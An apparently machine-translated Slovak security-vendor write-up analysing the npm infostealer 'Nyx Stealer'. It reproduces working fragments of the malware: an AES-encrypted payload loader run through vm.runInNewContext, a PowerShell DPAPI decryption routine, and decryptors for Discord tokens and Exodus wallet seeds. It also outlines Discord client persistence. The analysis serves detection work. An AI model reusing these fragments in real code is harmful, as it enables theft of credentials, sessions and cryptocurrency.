TL; DR
Tím bezpečnostného výskumu spoločnosti Xygeni identifikoval sofistikovanú kampaň npm infotealer poskytovanú prostredníctvom dvoch škodlivých balíkov: konzolový a selfbot-lofy.
Najnovšia verzia (consolelofy@1.3.0) vkladá 216KB dátové dáta šifrované pomocou AES, ktoré sa dešifruje za behu a spúšťa sa prostredníctvom vm.runInNewContext()Keďže škodlivá logika je plne šifrovaná, statické skenery spoliehajúce sa na kontrolu reťazcov nemôžu pozorovať jej správanie až do času vykonania.
Po dešifrovaní je užitočné zaťaženie interne označené Zlodejka Nyx, ciele:
- Autentifikačné tokeny Discordu
- Viac ako 50 úložísk s povereniami prehliadača
- Viac ako 90 rozšírení o kryptomenové peňaženky
- Stretnutia na Robloxe, Instagrame, Spotify, Steame, Telegrame a TikToku
- Trvalosť desktopového klienta Discord
Všetkých 20 verzií v oboch balíkoch bolo nahlásených a potvrdených ako škodlivé.
Technický prehľad tohto npm Infostealeru
Na rozdiel od tradičného malvéru, ktorý sa inštaluje v čase inštalácie, sa táto kampaň spolieha na runtime dešifrovací model.
Existujú:
- Žiadny škodlivý
preinstallorpostinstallhooks - Žiadne zjavné sieťové volania počas inštalácie
- Žiadna logika zberu prihlasovacích údajov v otvorenom texte
Užitočné zaťaženie sa aktivuje pri importovaní modulu. Celé telo škodlivého kódu je zašifrované a zhmotní sa v pamäti až za behu.
Táto konštrukcia sa špecificky vyhýba detekcii počas inštalácie balíka.
Ako tento npm Infostealer v skutočnosti funguje
Pred analýzou toho, čo Nyx Stealer kradne, musíme pochopiť ako sa to vykonáva.
Škodlivá logika v tomto npm infostealeri sa riadi konzistentným vzorom:
Malý zavádzač dešifruje veľké šifrované užitočné zaťaženie a dynamicky ho spustí v kontexte virtuálneho počítača Node.js.
Tento návrh je zámerný. Útočník neskrýva funkčnosť len za zahmlievanie, ale úplné odstránenie škodlivého kódu zo statickej viditeľnosti.
Model vykonávania na vysokej úrovni
Na vysokej úrovni robí obal štyri veci:
- Odvodí kľúč AES z pevne zakódovanej prístupovej frázy pomocou SHA-256
- Dešifruje rozsiahly hexadecimálne kódovaný šifrovaný text pomocou AES-256-CBC
- Spustí dešifrovaný JavaScript pomocou
vm.runInNewContext() - Poskytuje sandbox, ktorý stále sprístupňuje výkonné behové primitívy
Zhrnutie základnej techniky
| Zložka | Konfigurácia / Hodnota |
|---|---|
| Algoritmus | AES-256-CBC |
| Odvodenie kľúča | SHA-256 (prístupová fráza) |
| Inicializačný vektor (IV) | 16 bajtov 0x00 |
| Prevedenie | vm.runInNewContext(dešifrované, sandbox) |
Kriticky, pieskovisko prechádza cez:
requireprocessBuffer- časovača
- export modulov
To znamená, že dešifrované užitočné zaťaženie si zachováva plnú schopnosť:
- Procesy trenia
- Čítanie a zapisovanie súborov
- Uskutočňujte sieťové hovory
- Úprava lokálnych aplikácií
Toto nie je obmedzený virtuálny počítač. Je to virtuálny počítač používaný ako trampolína na vykonávanie.
Šifrovací vzor za behu (mechanizmus vykonávania jadra)
Nakladač je malý.
Zlomyseľné telo nie je.
Nižšie je uvedený vzor vykonávania, ktorý sa nachádza vo vnútri balíka:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Prečo na tom záleží
Dešifrované užitočné zaťaženie:
- Má nie existujú v otvorenom texte v balíku npm
- Je neviditeľné pre jednoduché
grepalebo statické skenovanie reťazcov - Zhmotňuje sa v pamäti iba za behu
- Spúšťa sa s plnými funkciami runtime prostredia Node
Táto kombinácia vykonávania AES + VM je silným behaviorálnym indikátorom npm infotealer sa pokúša vyhnúť statickej kontrole.
Inými slovami:
Ak prehľadáte strom zdrojového kódu balíkov, neuvidíte žiadny stealer.
Vidíte dešifrovač.
Čo sa stane po dešifrovaní
Po spustení Nyx Stealer spustí paralelné vlny zberu údajov.
Vlna 1: Extrakcia prihlasovacích údajov prehliadača
Škodlivý softvér:
- Sťahuje behové prostredie Pythonu z NuGet CDN
- Inštaluje kryptografické knižnice
- Extrahuje úložiská poverení založené na prehliadači Chromium
- Dešifruje tajné údaje chránené DPAPI
Namiesto kompilácie natívnych väzieb využíva PowerShell na priame volanie Windows DPAPI.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Tento prístup:
- Zabraňuje kompilačným artefaktom
- Používa natívne krypto API pre Windows
- Integruje sa do administratívnych nástrojov
Ide o dešifrovanie poverení na úrovni operačného systému, nie o scraping.
Vlna 2: Dešifrovanie tokenov Discord
Zlodej je si vedomý protokolu. Rozumie formátu šifrovaného tokenu Discordu.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Prevádzkový tok:
- Extrahujte hlavný kľúč z Discordu
Local State - Dešifrovať hlavný kľúč cez DPAPI
- Dešifrovať bloby tokenov AES-GCM
- Overiť tokeny pomocou Discord API
- Obohaťte sa o Nitro, odznaky, fakturačné informácie
Toto nie je generický výdaj poverení. Ide o únos relácie s ohľadom na protokol.
Vlna 3: Zacielenie na kryptomenové peňaženky
NPM infostealer vymenúva:
- Viac ako 90 rozšírení o peňaženku prehliadača
- 27 stolových peňaženiek
- Cesty studenej peňaženky
- Seed súbory Exodus
Príklad pokusu o dešifrovanie semien:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Ak je úspešné, kompromitácia peňaženky je okamžitá a nezvratná.
Toto predstavuje vektor monetizácie kampane s najvyššou hodnotou.
Perzistencia prostredníctvom Discord Desktop Injection
Po zhromaždení prihlasovacích údajov sa Nyx Stealer pokúša o trvalosť úpravou lokálnych zvar zákazník.
Cieľová skupina:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operačná sekvencia
Informačný krádež vykonáva nasledujúce kroky:
- Ukončí spustené procesy Discordu
- Vyhľadá nainštalované varianty Discordu (Stable, Canary, PTB)
- Prepíše
discord_desktop_core/index.js - Vkladá logiku webhooku ovládanú útočníkom
- Reštartuje Discord
Vďaka tomu budú budúce relácie Discordu automaticky odovzdávať nové autentifikačné tokeny.
Dôležité je, že táto perzistencia sa nespolieha na naplánované úlohy ani úpravy registra. Využíva úpravu kódu na úrovni aplikácie, čo je nenápadnejší prístup.
Aj keď je škodlivý balík npm neskôr odstránený, klient Discord zostáva ohrozený.
Technické porovnanie: Legitímny Selfbot vs. npm Infostealer
| Zložka | Legitímna knižnica | Nyx npm Infostealer |
|---|---|---|
| Šifrovanie | nikto | Plne šifrované užitočné zaťaženie AES |
| Virtuálny počítač za behu | Nevyžaduje sa | vm.runInNewContext prevedenie |
| Prístup k povereniam | Iba Discord API | Prehliadač, peňaženky, DPAPI |
| Externé súbory na stiahnutie | Nie | Runtime Pythonu cez NuGet |
| Vytrvalosť | Nie | Injekcia klienta Discord |
| speňaženie | Automatizácia botov | Ďalší predaj poverení |
Už samotná šifrovacia vrstva oddeľuje túto kampaň od typického open-source forku.
Legitímny selfbot na Discorde nemá dôvod šifrovať celú svoju kódovú základňu, spúšťať PowerShell na prístup k DPAPI, sťahovať externé runtime prostredia alebo upravovať vnútorné prvky desktopových aplikácií. Keď sa tieto funkcie objavia v závislosti, ktorá údajne automatizuje interakcie na Discorde, architektonický nesúlad sa stáva nemožným ignorovať.
Z hľadiska vyšetrovania tento npm infotealer zanecháva stopy naprieč viacerými vrstvami. Najspoľahlivejšími indikátormi však nie sú pevne zakódované adresy URL ani cesty k konkrétnym súborom, pretože tie sa môžu medzi verziami meniť. Namiesto toho sú trvalými signálmi štrukturálne.
Na úrovni balíka je najsilnejším varovným signálom kombinácia veľkého šifrovaného užitočného zaťaženia a dešifrovacieho obalu za behu, ktorý sa okamžite spustí prostredníctvom vm.runInNewContext()Hoci samotné šifrovanie nie je vo svojej podstate škodlivé, použitie dešifrovania AES s následným dynamickým spustením virtuálneho počítača v rámci balíka nástrojov Discord je veľmi anomálne.
Na úrovni hostiteľa medzi podozrivé vzorce patrí neočakávaná aktivita dešifrovania DPAPI, spúšťanie procesov z kontextu závislosti Node.js a úprava lokálnych súborov aplikácií, ktoré by nikdy nemali byť zmenené knižnicami tretích strán. Podobne na sieťovej vrstve predstavuje ďalšiu významnú anomáliu odchádzajúca komunikácia v štýle webhooku iniciovaná vývojovou závislosťou.
Inými slovami, detekčná plocha nie je jediným indikátorom kompromitácie. Hrozbu odhalí korelácia šifrovania, vykonávania za behu, prístupu k povereniam a správania sa perzistencie.
Detekcia a zmierňovanie pomocou Xygeni
Tento npm infotealer bol identifikovaný používateľom Včasné varovanie pred škodlivým softvérom (MEW) od spoločnosti Xygeni prostredníctvom vrstvenej behaviorálnej korelácie, a nie prostredníctvom jednoduchého porovnávania podpisov.
Namiesto vyhľadávania známych škodlivých reťazcov MEW vyhodnocuje štrukturálne anomálie v celom zdrojovom strome. V tomto prípade detekcia vyplynula zo zhody niekoľkých signálov: vložená dešifrovacia rutina AES vo vstupnom bode modulu, okamžité vykonanie v kontexte virtuálneho počítača a jasný nesúlad medzi schopnosťou a zámerom.
Dôležité je, že žiadny z týchto signálov sám o sebe nedokazuje zlomyseľný úmysel. Pri spoločnej analýze však odhaľujú pokus o zakrytie správania za behu. Tento viacvrstvový prístup výrazne znižuje falošne pozitívne výsledky a zároveň identifikuje hrozby pre dodávateľský reťazec s vysokou mierou spoľahlivosti.
Tento prípad navyše ilustruje, prečo samotná kontrola počas inštalácie nestačí. Škodlivá logika sa nenachádza v skriptoch životného cyklu. Aktivuje sa až po načítaní modulu a stane sa viditeľnou až po dešifrovaní v pamäti. Účinná obrana si preto vyžaduje analýzu s ohľadom na šifrovanie, rozpoznávanie behaviorálnych vzorcov a nepretržité monitorovanie závislostí aj po inštalácii.
Odstránenie registra je reaktívne. Analýza za behu systému je preventívna.
Prečo je tento npm Infostealer dôležitý
Nyx Stealer predstavuje štrukturálnu evolúciu malvéru založeného na npm.
Historicky sa mnoho škodlivých balíkov spoliehalo na viditeľné skripty počas inštalácie alebo zjavné koncové body na odcudzenie poverení. Naproti tomu táto kampaň šifruje svoje užitočné zaťaženie, odkladá vykonávanie na beh programu, využíva legitímne rozhrania API operačného systému a zabezpečuje perzistenciu v rámci dôveryhodných aplikácií.
Útočník preto nemusí zneužívať samotnú infraštruktúru npm. Namiesto toho je útok úspešný, pretože inštalácia závislostí predpokladá dôveru. Vývojári predpokladajú, že import knižnice je bezpečná operácia, najmä ak sa prezentuje ako pravdepodobná fork populárneho nástroja.
S rastom ekosystémov a šírením forkov sa táto implicitná hranica dôvery stáva čoraz atraktívnejším povrchom pre útok. Preto si obrana proti moderným npm infostealerom vyžaduje rozpoznávanie architektonických vzorov, a nie hľadanie statických reťazcov.
Táto kampaň v konečnom dôsledku posilňuje kľúčové ponaučenie v software supply chain securityNajnebezpečnejšie hrozby nie sú tie, ktoré na prvý pohľad vyzerajú škodlivo, ale tie, ktoré sa štrukturálne javia legitímne, kým sa počas behu programu neodhalí ich skutočné správanie.




